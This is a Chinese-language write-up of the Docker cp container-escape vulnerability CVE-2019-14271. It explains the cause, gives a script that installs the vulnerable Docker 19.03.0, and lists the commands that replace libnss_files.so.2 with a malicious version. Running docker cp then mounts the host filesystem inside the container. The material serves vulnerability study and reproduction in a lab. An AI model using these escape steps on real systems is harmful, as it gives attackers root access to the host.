Docker copy 漏洞导致容器逃逸 CVE-2019-14271¶
漏洞描述¶
docker cp
命令允许从容器、向容器中、或容器之间复制文件。语法与标准的 unix cp 命令非常相似。要从容器中复制 /var/logs
,语法是 docker cp container_name:/var/logs /some/host/path
。
在复制的过程中 Docker 使用了一个名为 docker-tar
的帮助进程。docker-tar
是通过 chroot 到容器,将请求的文件或目录存档,然后将生成的 tar 文件传递给 Docker daemon,然后由 daemon 提取到主机的目标目录中。
有漏洞的 Docker 版本是用 Go v1.11 编译的。在该版本中,一些含有嵌入 C 代码(cgo)的包会在运行时动态加载共享的库。这些包包括 net
和 os/user
,都是 docker-tar 使用的,而且在运行时会加载多个 libnss_*.so
库。一般来说,库是从 host
文件系统加载的,但因为 docker-tar
chroot 到了容器,因此会从容器文件系统中加载库。也就是说 docker-tar
会加载和执行来源于容器或由容器控制的代码。因此,通过注入代码到 docker-tar
,恶意容器就可以获取 host 主机的完全 root 访问权限。
可能的攻击场景有 Docker 用户从另一个 Docker 处复制文件:
- 容器运行含有恶意
libnss_*.so
库的镜像 - 容器中含有被攻击者替换的
libnss_*.so
库
在这两种情况下,攻击者都可以获取主机上的 root 代码执行权限。
参考链接:
- https://xz.aliyun.com/t/6806
- https://nvd.nist.gov/vuln/detail/CVE-2019-14271
- https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/
- https://github.com/Metarget/metarget
漏洞影响¶
v18.09.9<= Docker <v19.03.8
环境搭建¶
ubuntu 18.04 使用以下脚本 install_docker_19.03.0.sh
安装 Docker 19.03.0:
#!/bin/bash
set -e
echo "[*] Removing old Docker versions (if any)..."
sudo apt remove -y docker docker-engine docker.io containerd runc || true
echo "[*] Unholding previously held Docker packages (if any)..."
sudo apt-mark unhold docker-ce docker-ce-cli containerd.io || true
echo "[*] Removing incorrect Docker sources..."
sudo rm -f /etc/apt/sources.list.d/docker.list || true
sudo sed -i '/download.docker.com/d' /etc/apt/sources.list
echo "[*] Adding Tsinghua University Docker mirror GPG key..."
wget -qO - https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu/gpg | sudo apt-key add -
echo "[*] Adding Tsinghua University Docker mirror repository..."
echo "deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu bionic stable" \
| sudo tee /etc/apt/sources.list.d/docker.list
echo "[*] Updating package index..."
sudo apt update
echo "[*] Searching for Docker 19.03.0..."
VERSION_STRING=$(apt-cache madison docker-ce | grep 19.03.0 | head -n1 | awk '{print $3}')
if [ -z "$VERSION_STRING" ]; then
echo "[*] Docker 19.03.0 not found"
exit 1
fi
echo "[*] Found version: $VERSION_STRING"
echo "[*] Installing Docker version $VERSION_STRING ..."
sudo apt install -y docker-ce=$VERSION_STRING docker-ce-cli=$VERSION_STRING containerd.io
echo "[*] Locking version to prevent automatic updates..."
sudo apt-mark hold docker-ce docker-ce-cli containerd.io
echo "[*] Installation complete, current version:"
docker --version
漏洞复现¶
新建一个容器:
sudo docker run -itd --name=14271 ubuntu bash
将 漏洞利用文件 拷贝至容器内:
sudo docker cp ./metarget/writeups_cnv/docker-cve-2019-14271/exp/ 14271:/
删除容器内原来的 .so 文件,替换为修改后的恶意 .so 文件:
sudo docker exec -it 14271 bash
root@7271b49ce3d1:/# ls /exp
breakout libnss_files.so.2 original_libnss_files.so.2
root@7271b49ce3d1:/# cp /exp/* /
root@7271b49ce3d1:/# chmod 777 /breakout
root@7271b49ce3d1:/# touch /logs
root@7271b49ce3d1:/# rm /lib/x86_64-linux-gnu/libnss_files.so.2
root@7271b49ce3d1:/# mv /libnss_files.so.2 /lib/x86_64-linux-gnu/
root@7271b49ce3d1:/# exit
exit
替换后退出容器,在宿主机上执行 cp 命令完成逃逸:
sudo docker cp 14271:/logs ./
进入容器内部,可发现根目录下存在 host_fs
目录挂载了宿主机的文件系统,成功逃逸:
sudo docker exec -it 14271 bash
root@7271b49ce3d1:/# ls -al / | grep host_fs
drwxr-xr-x 24 root root 4096 May 26 05:46 host_fs